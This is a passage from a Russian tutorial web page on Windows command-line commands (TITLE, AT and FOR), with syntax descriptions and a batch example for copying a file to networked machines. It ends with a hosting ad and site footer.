TITLE [строка], где строка - это будущий заголовок окна командной строки (записывается без кавычек). После задания заголовка окна он может быть изменен только повторным вызовом команды TITLE. Использование данной команды может быть полезно в командных файлах. Так, выполнение примера, который приведен ниже, будет сопровождаться появлением соответствующей надписи в заголовке окна:

@ECHO OFF

TITLE Копируются файлы...

COPY \\Server\Share\*.doc C:\User\Common\*.doc

ECHO Копирование закончено.

TITLE Процесс завершен

Команда АТ - С помощью этой команды можно запускать команды и программы в определенное время.

AT [\\имя компьютера] [ [id] [/DELETE] | /DELETE [/YES]]

AT [\\имя компьютера] time [/INTERACTIVE] [ /EVERY:дата[,...] | /NEXT:дата [,...]] "команда"

\\имя компьютера указывает на удаленный компьютер, на котором могут быть запущены планируемые задачи. Если этот параметр не указан, то по умолчанию предполагается тот компьютер, на котором запускается команда АТ;

id идентификатор, назначенный указанной команде;

/delete отменяет намеченную команду. Если id опущен, все назначенные команды на компьютере отменены;

/yes этот параметр в случае использования с предыдущим параметром (/delete) автоматически включает подтверждение для всех запросов;

time время выполнения команды (в 24-часовом формате часы:минуты);

/interactive позволяет команде AT обмениваться с подключенными на данный момент в системе пользователями;

/every:дата[,...] выполняет команду в каждый указанный день (дни) недели или месяц. Если дата опущена, подразумевается текущий день месяца;

/next:дата[...] выполняет указанную команду при следующем наступлении указанной даты (например, в следующий четверг). Если дата не указанна, по умолчанию принимается текущий день месяца;

"команда" указывается команда Windows NT или пакетная программа, которая будет выполнена. Имя файла должно указываться полностью. При этом, если выполняется какая-либо из внутренних команд, например, COPY или DIR, а не исполняемый файл, то необходим запуск командного интерпретатора с ключом / С, например: AT 10:00 "CMD /C DIR > C:\test.out.

Команда For - Ее возможности обширны, но мы ограничимся демонстрацией лишь одной из них - Копирование по сети на все машины сразу. Допустим, что требуется скопировать файл на двадцать машин. Делается это очень быстро. Сначала в файл list.txt записываем список всех имеющихся в сети машин. В консоли пишем:

net view > c:\list.txt

Затем, чтобы выполнить, например, копирование файла patch.exe на каждую машину из списка, даем команду:

FOR /F "tokens=1" %i in (с:\list.txt) do copy d:\temp\patch.exe "%i\C$\program files\ICQ"

Переменная %i будет автоматически принимать значение NetBIOS-имени машины из новой строки файла list.txt и на эту машину будет производиться копирование.

Реестр

система комментирования CACKLE

Реклама:

http://www.valuehost.ru/ Хостинг Номер 1: Valuehost 25GB План А • Если вдруг закажите что-то у валуехоста, скажите им номер по партнёрской программе 44877 (Для плательщика 300044877), а то у них она работает непонятно, пока сам не скажешь, не добавят бонусов. Мне будет приятно :) Спасибо!

...
Сайт разработан для продвижения идей клуба "Основное ремесло"
© MainCrafT.org 2005-2017гг. © Клуб "Основное ремесло" 2005-2017гг. © Shleg A.V.
© people-exe.org (закрыт) 1998-2006гг. © red-brick.org (закрыт) 2004-2005гг. © propeopleclub.org (закрыт) 2004-2005гг.


Внимание!!! Данный интернет-сайт носит исключительно информационный характер и ни при каких условиях не является публичной офертой, определяемой положениями ч. 2 ст. 437 Гражданского кодекса Российской Федерации. Информацию о стоимости и сроках выполнения услуг, можно получить по контактам указанными далее. с 10-00 до 19-00, Пн-Пт по телефону: +7 (903) 756-28-61, через сайт: круглосуточно, без выходных. Для подтверждения заказа через сайт менеджер свяжется с Вами в самый короткий срок. Написать нам на почту: support@maincraft.org, При возникновении вопросов, Вы можете связаться с нами по телефону либо получить ICQ консультации, ICQ№149-807-234, С администратором ресурса можно связаться по e-mail: admin@maincraft.org
модуль - команда ненужные имен только отличие
  [ Промышленный дизайн - www.MainCrafT.org ]  •••  [ Размещение статьи на этом сайте: 100р = 1год ]
Rambler's Top100 Яндекс цитирования Яндекс.Метрика
раскрутка сайта, оптимизация сайта Сео анализ сайта Проверка сайта

© MainCrafT.org 2005-2017гг. © Клуб "Основное ремесло" 2005-2017гг. © Shleg A.V.
- выше E:". компьютере, чистка что Internet